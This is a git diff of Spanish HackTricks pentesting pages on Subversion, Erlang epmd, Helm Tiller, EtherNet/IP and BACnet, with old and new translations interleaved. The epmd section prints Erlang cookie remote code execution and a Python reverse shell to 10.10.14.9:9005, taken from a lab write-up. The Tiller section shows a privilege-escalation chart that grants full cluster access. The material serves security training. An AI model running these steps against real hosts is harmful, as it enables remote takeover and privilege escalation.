**Subversion** es un **sistema de control de versiones** centralizado que juega un papel crucial en la gestión de los datos presentes e históricos de los proyectos. Al ser una herramienta **de código abierto**, opera bajo la **licencia Apache**. Este sistema es ampliamente reconocido por sus capacidades en **versionado de software y control de revisiones**, asegurando que los usuarios puedan realizar un seguimiento de los cambios a lo largo del tiempo de manera eficiente.
**Puerto predeterminado:** 3690
**Puerto por defecto:** 3690
```
PORT STATE SERVICE
3690/tcp open svnserve Subversion
```
## Obtención de banner
## Captura de Banner
```
nc -vn 10.10.10.10 3690
```
@ -33,16 +34,17 @@ svn log svn://10.10.10.203 #Commit history
svn checkout svn://10.10.10.203 #Download the repository
svn up -r 2 #Go to revision 2 inside the checkout folder
```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Información Básica
El **Demonio del Mapeador de Puertos de Erlang (epmd)** sirve como coordinador para instancias de Erlang distribuidas. Es responsable de mapear nombres de nodos simbólicos a direcciones de máquinas, asegurando esencialmente que cada nombre de nodo esté asociado con una dirección específica. Este rol de **epmd** es crucial para la interacción y comunicación sin problemas entre diferentes nodos de Erlang a través de una red.
El **Erlang Port Mapper Daemon (epmd)** sirve como coordinador para instancias distribuidas de Erlang. Es responsable de mapear nombres de nodos simbólicos a direcciones de máquina, asegurando esencialmente que cada nombre de nodo esté asociado con una dirección específica. Este papel de **epmd** es crucial para la interacción y comunicación sin problemas entre diferentes nodos de Erlang a través de una red.
**Puerto predeterminado**: 4369
**Puerto por defecto**: 4369
```
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
```
Esto se utiliza de forma predeterminada en las instalaciones de RabbitMQ y CouchDB.
Esto se utiliza por defecto en las instalaciones de RabbitMQ y CouchDB.
# Enumeración
@ -55,7 +56,7 @@ PORT STATE SERVICE VERSION
## Conexión Remota
Si puedes **filtrar la cookie de autenticación**, podrás ejecutar código en el host. Por lo general, esta cookie se encuentra en `~/.erlang.cookie` y es generada por Erlang en el primer inicio. Si no se modifica o se establece manualmente, es una cadena aleatoria \[A:Z] con una longitud de 20 caracteres.
Si puedes **filtrar la cookie de autenticación**, podrás ejecutar código en el host. Por lo general, esta cookie se encuentra en `~/.erlang.cookie` y es generada por erlang en el primer inicio. Si no se modifica o se establece manualmente, es una cadena aleatoria \[A:Z] con una longitud de 20 caracteres.
```bash
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
@ -68,13 +69,13 @@ At last, we can start an erlang shell on the remote system.
"uid=0(root) gid=0(root) groups=0(root)\n"
```
Más información en [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
El autor también comparte un programa para hacer fuerza bruta en la cookie:
El autor también comparte un programa para hacer bruteforce a la cookie:
{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}
## Conexión Local
En este caso vamos a abusar de CouchDB para escalar privilegios localmente:
En este caso, vamos a abusar de CouchDB para escalar privilegios localmente:
```bash
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
@ -82,7 +83,7 @@ HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
```
Ejemplo tomado de [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\
Puedes usar la máquina **Canape HTB** para **practicar** cómo **explotar esta vulnerabilidad**.
Puedes usar **la máquina Canape HTB para** **practicar** cómo **explotar esta vulnerabilidad**.
## Metasploit
```bash
@ -94,16 +95,17 @@ msf5> use exploit/multi/misc/erlang_cookie_rce
* `port:4369 "en el puerto"`
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Información Básica
Helm es el **gestor de paquetes** para Kubernetes. Permite empaquetar archivos YAML y distribuirlos en repositorios públicos y privados. Estos paquetes se llaman **Helm Charts**. **Tiller** es el **servicio** que se **ejecuta** de forma predeterminada en el puerto 44134 ofreciendo el servicio.
Helm es el **gestor de paquetes** para Kubernetes. Permite empaquetar archivos YAML y distribuirlos en repositorios públicos y privados. Estos paquetes se llaman **Helm Charts**. **Tiller** es el **servicio** **que se ejecuta** por defecto en el puerto 44134 ofreciendo el servicio.
**Puerto predeterminado:** 44134
**Puerto por defecto:** 44134
```
PORT STATE SERVICE VERSION
44134/tcp open unknown
```
# Enumeración
Si puedes **enumerar pods y/o servicios** de diferentes espacios de nombres, enuméralos y busca aquellos con **"tiller" en su nombre**:
Si puedes **enumerar pods y/o servicios** de diferentes namespaces, enuméralos y busca aquellos con **"tiller" en su nombre**:
```bash
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
@ -45,24 +46,39 @@ NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S)
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
```
También puedes intentar encontrar este servicio ejecutándose verificando el puerto 44134:
También podrías intentar encontrar este servicio en ejecución verificando el puerto 44134:
```bash
sudo nmap -sS -p 44134 <IP>
```
Una vez que lo hayas descubierto, puedes comunicarte con él descargando la aplicación cliente helm. Puedes usar herramientas como `homebrew`, o consultar [**la página oficial de versiones**](https://github.com/helm/helm/releases)**.** Para más detalles, u otras opciones, consulta [la guía de instalación](https://v2.helm.sh/docs/using\_helm/#installing-helm).
Una vez que lo hayas descubierto, puedes comunicarte con él descargando la aplicación cliente helm. Puedes usar herramientas como `homebrew`, o mirar en [**la página oficial de lanzamientos**](https://github.com/helm/helm/releases)**.** Para más detalles, o para otras opciones, consulta [la guía de instalación](https://v2.helm.sh/docs/using\_helm/#installing-helm).
Luego, puedes **enumerar el servicio**:
```
helm --host tiller-deploy.kube-system:44134 version
```
## Escalada de privilegios
## Escalación de Privilegios
Por defecto, **Helm2** se instalaba en el **namespace kube-system** con **altos privilegios**, por lo que si encuentras el servicio y tienes acceso a él, esto podría permitirte **escalar privilegios**.
Por defecto, **Helm2** se instaló en el **namespace kube-system** con **altos privilegios**, así que si encuentras el servicio y tienes acceso a él, esto podría permitirte **escalar privilegios**.
Todo lo que necesitas hacer es instalar un paquete como este: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) que otorgará al **token de servicio predeterminado acceso a todo en el clúster completo**.
Todo lo que necesitas hacer es instalar un paquete como este: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) que le dará al **token de servicio predeterminado acceso a todo en todo el clúster.**
```
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
```
En [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) tienes la **explicación del ataque**, pero básicamente, si lees los archivos [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) y [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) dentro de _helm-tiller-pwn/pwnchart/templates/_ puedes ver cómo **se están otorgando todos los privilegios al token predeterminado**.
En [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) tienes la **explicación del ataque**, pero básicamente, si lees los archivos [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) y [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) dentro de _helm-tiller-pwn/pwnchart/templates/_ puedes ver cómo **todos los privilegios se están otorgando al token predeterminado**.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,23 +1,24 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# **Información del Protocolo**
EtherNet/IP es un **protocolo de red Ethernet industrial** comúnmente utilizado en **sistemas de control de automatización industrial**. Fue desarrollado por Rockwell Automation a finales de la década de 1990 y es gestionado por ODVA. El protocolo garantiza **la interoperabilidad de sistemas de múltiples proveedores** y se utiliza en diversas aplicaciones como **plantas de procesamiento de agua**, **instalaciones de fabricación** y **servicios públicos**. Para identificar un dispositivo EtherNet/IP, se envía una consulta a **TCP/44818** con un **Mensaje de Listado de Identidades (0x63)**.
EtherNet/IP es un **protocolo de red Ethernet industrial** comúnmente utilizado en **sistemas de control de automatización industrial**. Fue desarrollado por Rockwell Automation a finales de la década de 1990 y es gestionado por ODVA. El protocolo asegura **interoperabilidad de sistemas de múltiples proveedores** y se utiliza en diversas aplicaciones como **plantas de procesamiento de agua**, **instalaciones de fabricación** y **servicios públicos**. Para identificar un dispositivo EtherNet/IP, se envía una consulta a **TCP/44818** con un **Mensaje de Identidades (0x63)**.
**Puerto predeterminado:** 44818 UDP/TCP
**Puerto por defecto:** 44818 UDP/TCP
```
PORT STATE SERVICE
44818/tcp open EtherNet/IP
@ -33,16 +34,17 @@ python3 -m cpppo.server.enip.list_services [--udp] [--broadcast] --list-identity
* `port:44818 "nombre del producto"`
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,23 +1,24 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Información del Protocolo
**BACnet** es un **protocolo de comunicaciones** para redes de Automatización y Control de Edificios (BAC) que aprovecha el protocolo estándar **ASHRAE**, **ANSI** y **ISO 16484-5**. Facilita la comunicación entre sistemas de automatización y control de edificios, permitiendo que aplicaciones como el control de HVAC, control de iluminación, control de acceso y sistemas de detección de incendios intercambien información. BACnet garantiza la interoperabilidad y permite que los dispositivos informáticos de automatización de edificios se comuniquen, independientemente de los servicios específicos que brinden.
**BACnet** es un **protocolo de comunicaciones** para redes de Automatización y Control de Edificios (BAC) que aprovecha el **ASHRAE**, **ANSI** y el protocolo estándar **ISO 16484-5**. Facilita la comunicación entre sistemas de automatización y control de edificios, permitiendo que aplicaciones como control de HVAC, control de iluminación, control de acceso y sistemas de detección de incendios intercambien información. BACnet asegura la interoperabilidad y permite que dispositivos de automatización de edificios computarizados se comuniquen, independientemente de los servicios específicos que proporcionen.
**Puerto predeterminado:** 47808
**Puerto por defecto:** 47808
```text
PORT STATE SERVICE
47808/udp open BACNet -- Building Automation and Control NetworksEnumerate
@ -50,25 +51,26 @@ print(f"Version: {readDevice[2]}")
```bash
nmap --script bacnet-info --script-args full=yes -sU -n -sV -p 47808 <IP>
```
Este script no intenta unirse a una red BACnet como un dispositivo externo, simplemente envía solicitudes BACnet directamente a un dispositivo con dirección IP.
Este script no intenta unirse a una red BACnet como un dispositivo extranjero, simplemente envía solicitudes BACnet directamente a un dispositivo direccionable por IP.
## Shodan
* `port:47808 instance`
* `"ID de instancia" "Nombre del fabricante"`
* `"Instance ID" "Vendor Name"`
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,41 +1,42 @@
# 4840 - Pentesting OPC UA
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
